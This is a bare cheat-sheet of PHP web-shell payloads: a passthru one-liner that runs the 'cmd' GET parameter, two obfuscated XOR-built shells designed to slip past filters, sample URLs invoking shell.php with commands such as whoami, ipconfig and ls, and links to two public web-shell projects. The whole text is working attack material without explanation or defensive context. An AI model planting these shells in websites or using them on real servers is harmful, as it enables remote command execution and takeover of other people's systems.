//CURL http://ip/shell.php?1=whoami
//www.somewebsite.com/index.html?1=ipconfig
<?php passthru($_GET['cmd']); ?>
http://target.com/path/to/shell.php?=function&=argument
http://target.com/path/to/shell.php?=system&=ls
/'^'{{{{';@${$_}[_](@${$_}[__]);
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
// https://github.com/Arrexel/phpbash
// https://github.com/flozz/p0wny-shell